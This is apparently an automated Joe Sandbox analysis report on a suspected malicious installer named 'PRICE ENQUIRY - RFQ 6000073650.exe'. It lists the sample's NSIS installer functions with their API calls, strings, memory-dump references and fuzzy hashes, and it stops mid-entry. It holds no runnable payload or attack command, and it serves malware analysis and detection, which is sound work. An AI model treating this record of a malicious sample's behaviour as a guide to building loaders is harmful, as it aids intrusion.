Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 004057C8
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004031E9,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 004057D2
lstrcatW.KERNEL32(?,00409014), ref: 004057E4

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004057C2

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-823278215
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: 6d7e1b30bb844f15b9b36030bcc4b7738a51439c8837860c8faeba4cfa6a7ffc
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: 81D0A721505930AAC2127B448C04DDF73ACEE45340340483BF600B30E1C7781D418BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(?,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction ID: c80361359d7f931d767c6e620dd41e9efa8b0f2766ef6758dcd107922aa8e93c
Opcode Fuzzy Hash: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction Fuzzy Hash: 8E110671A00109AEEB11DFA5C945DEEBBB9EF44344F21407AF901F62A1D7349E50DB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Part of subcall function 004054F2: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
Part of subcall function 004054F2: CloseHandle.KERNEL32(?), ref: 00405524

WaitForSingleObject.KERNEL32(00000000,?,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,?,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 5ff15bf0e7b85f22095b6ffb960896b91c5b9a4224db2026ac1287f986781dd2
Instruction ID: bec0dc1b772bef8e3dfa3c1b84bb43adcf6872ff1fa5701b8d2c68c635bc108f
Opcode Fuzzy Hash: 5ff15bf0e7b85f22095b6ffb960896b91c5b9a4224db2026ac1287f986781dd2
Instruction Fuzzy Hash: 2811A131D04204EBDF109FA0CD859DE7AB5EB04319F204437F501BA1E1C3798982DB9A

Function 00402D05 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402EE5,00000001,?,?,?,00000000,00403425,?), ref: 00402D18
GetTickCount.KERNEL32 ref: 00402D36
CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402D53
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403425,?), ref: 00402D61

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction ID: 4886259ddd31cdb6a9694f28afcf93f0b8e262fe2de839e253ac22cc8a8e0fbd
Opcode Fuzzy Hash: a44779084e06eb4c2f5f1059993455e157fff419ca32818d5ef93385285d2376
Instruction Fuzzy Hash: 09F05E3198A221ABD6315B20FE4C99B7BA4FB05B11B14547AF005F11E4C2B84C81CB9C

Function 004054F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256A0,Error launching installer), ref: 00405517
CloseHandle.KERNEL32(?), ref: 00405524

Strings

Error launching installer, xrefs: 00405505

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction ID: f26dffa8f28471d2a1f864ee7fcc23407611118f3e7675527ed35a3aab9678e5
Opcode Fuzzy Hash: 3b6d012946cdb1e415ed4126777acf452f9caf94abf9bf389c8640f9b16c30f7
Instruction Fuzzy Hash: A2E0ECB4A00209AFDB009F64EC49E6B7BBDEB04304BC08521A914F2290E774E9158A69

Function 004036AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75923420,00403684,004034C6,?), ref: 004036C6
GlobalFree.KERNEL32(?), ref: 004036CD

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004036BE

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-823278215
Opcode ID: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction ID: e725929a78bd54513bffc085a294c09ba81a7575a3dcdc05b4864a3003f147fa
Opcode Fuzzy Hash: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction Fuzzy Hash: 8AE0C2339010206BC7315F55EC0871ABBAC6F99B72F054527E9407B3A18374AC524FDC

Function 0040580E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00405814
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe,80000000,00000003,?,?,?,00000000,00403425), ref: 00405824

Strings

C:\Users\user\Desktop, xrefs: 0040580E

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: 54f9e395c00b90dc5451f5026eb4b74e0c6c88693738feeaeea148d18d65316b
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C9D05EB34109209AD3227B04DC049EF77ADEF563107458467F800A21A0D3785C908AED

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(?,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405948 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
lstrcmpiA.KERNEL32(00405B82,00000000), ref: 00405970
CharNextA.USER32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405981
lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction ID: 6e6ac9e946d98d70bf9313254ac0794fd071748d29dfdc9c098e77395f368069
Opcode Fuzzy Hash: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction Fuzzy Hash: B9F0C232504554EFC7029FA9DD0099EBBA8EF06260B2540B6E801F7210D274EE019BA9

Analysis Process: PRICE ENQUIRY - RFQ 6000073650.exePID: 1532, Parent PID: 4124COMMON

Non-executed Functions

Function 0040499D Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B5
GetDlgItem.USER32(?,00000408), ref: 004049C0
GlobalAlloc.KERNEL32(?,?), ref: 00404A0A
LoadBitmapW.USER32(0000006E), ref: 00404A1D
SetWindowLongW.USER32(?,?,00404F95), ref: 00404A36
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404A4A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5C
SendMessageW.USER32(?,00001109,00000002), ref: 00404A72
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A7E
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404A90
DeleteObject.GDI32(00000000), ref: 00404A93
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404ABE
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ACA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B60
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404B8B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B9F
GetWindowLongW.USER32(?,?), ref: 00404BCE
SetWindowLongW.USER32(?,?,00000000), ref: 00404BDC
ShowWindow.USER32(?,00000005), ref: 00404BED
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CEA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D4F
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404D64
SendMessageW.USER32(?,00000420,00000000,?), ref: 00404D88
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DA8
ImageList_Destroy.COMCTL32(?), ref: 00404DBD
GlobalFree.KERNEL32(?), ref: 00404DCD
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E46
SendMessageW.USER32(?,00001102,?,?), ref: 00404EEF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404EFE
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1E
ShowWindow.USER32(?,00000000), ref: 00404F6C
GetDlgItem.USER32(?,000003FE), ref: 00404F77
ShowWindow.USER32(00000000), ref: 00404F7E

Strings

, xrefs: 00404F56
M, xrefs: 00404B47
N, xrefs: 00404C28

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 6bbd20c2702cab14f23fe9ea8e39145f8db2335003c0fea9fe145592dcc537c1
Instruction ID: f03e607a396e187e7a88a72d0c11c4872557c7a4ae09ea9be525cead3dabdd13
Opcode Fuzzy Hash: 6bbd20c2702cab14f23fe9ea8e39145f8db2335003c0fea9fe145592dcc537c1
Instruction Fuzzy Hash: A90294B0900209EFEB209F55DD45AAE7BB5FB84314F10817AF610B62E0C7799D52CF58

Function 004031FF Relevance: 61.6, APIs: 27, Strings: 8, Instructions: 335stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 0040321E
SetErrorMode.KERNEL32(00008001), ref: 00403229
OleInitialize.OLE32(00000000), ref: 00403230

Part of subcall function 004060E1: GetModuleHandleA.KERNEL32(?,?,?,00403242,?), ref: 004060F3
Part of subcall function 004060E1: LoadLibraryA.KERNEL32(?,?,?,00403242,?), ref: 004060FE
Part of subcall function 004060E1: GetProcAddress.KERNEL32(00000000,?), ref: 0040610F

SHGetFileInfoW.SHELL32(00420658,00000000,?,000002B4,00000000), ref: 00403258

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

GetCommandLineW.KERNEL32(004281A0,NSIS Error), ref: 0040326D
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 00403280
CharNextW.USER32(00000000,00434000,?), ref: 004032A7
GetTempPathW.KERNEL32(00000400,00436800,00000000,?), ref: 004033B0
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 004033C1
lstrcatW.KERNEL32(00436800,\Temp), ref: 004033CD
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 004033E1
lstrcatW.KERNEL32(00436800,Low), ref: 004033E9
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 004033FA
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 00403402
DeleteFileW.KERNEL32(00436000), ref: 00403416
OleUninitialize.OLE32(?), ref: 004034C6
ExitProcess.KERNEL32 ref: 004034E6
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 004034F2
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 004034FE
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 0040350A
SetCurrentDirectoryW.KERNEL32(00436800), ref: 00403511
DeleteFileW.KERNEL32(0041FE58,0041FE58,?,0042A000,?), ref: 0040356B
CopyFileW.KERNEL32(00437800,0041FE58,00000001), ref: 0040357F
CloseHandle.KERNEL32(00000000,0041FE58,0041FE58,?,0041FE58,00000000), ref: 004035AC
GetCurrentProcess.KERNEL32(?,?,00000005,?,00000003), ref: 00403602
ExitWindowsEx.USER32(00000002,00000000), ref: 0040363E
ExitProcess.KERNEL32 ref: 00403661

Strings

TMP, xrefs: 004033FD
TEMP, xrefs: 004033F5
Error launching installer, xrefs: 0040347D
SeShutdownPrivilege, xrefs: 00403614
Low, xrefs: 004033E3
\Temp, xrefs: 004033C7
~nsu.tmp, xrefs: 004034EC
NSIS Error, xrefs: 0040325E

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-400301585
Opcode ID: 5f888993f7591d88a1aa95b3916d1730fdea01f6f4b4de511722319dd3018d9c
Instruction ID: ad4a0f84636c0b66377e35c31726649c2eaf1ae8fb353dd82aac126218056701
Opcode Fuzzy Hash: 5f888993f7591d88a1aa95b3916d1730fdea01f6f4b4de511722319dd3018d9c
Instruction Fuzzy Hash: 99B1D030904210BAD7207F629D49A7B3EACEB45706F40497FF441B62E2D7BC9941CB6E

Function 004055FF Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,75923420,00434000), ref: 00405628
lstrcatW.KERNEL32(004246A0,\*.*,004246A0,?,?,00436800,75923420,00434000), ref: 00405670
lstrcatW.KERNEL32(?,00409014,?,004246A0,?,?,00436800,75923420,00434000), ref: 00405693
lstrlenW.KERNEL32(?,?,00409014,?,004246A0,?,?,00436800,75923420,00434000), ref: 00405699
FindFirstFileW.KERNEL32(004246A0,?,?,?,00409014,?,004246A0,?,?,00436800,75923420,00434000), ref: 004056A9
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405749
FindClose.KERNEL32(00000000), ref: 00405758

Strings

\*.*, xrefs: 0040566A

Memory Dump Source

Source File: 00000003.00000002.2627028454.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2627009046.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627079945.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627123743.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2627153727.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

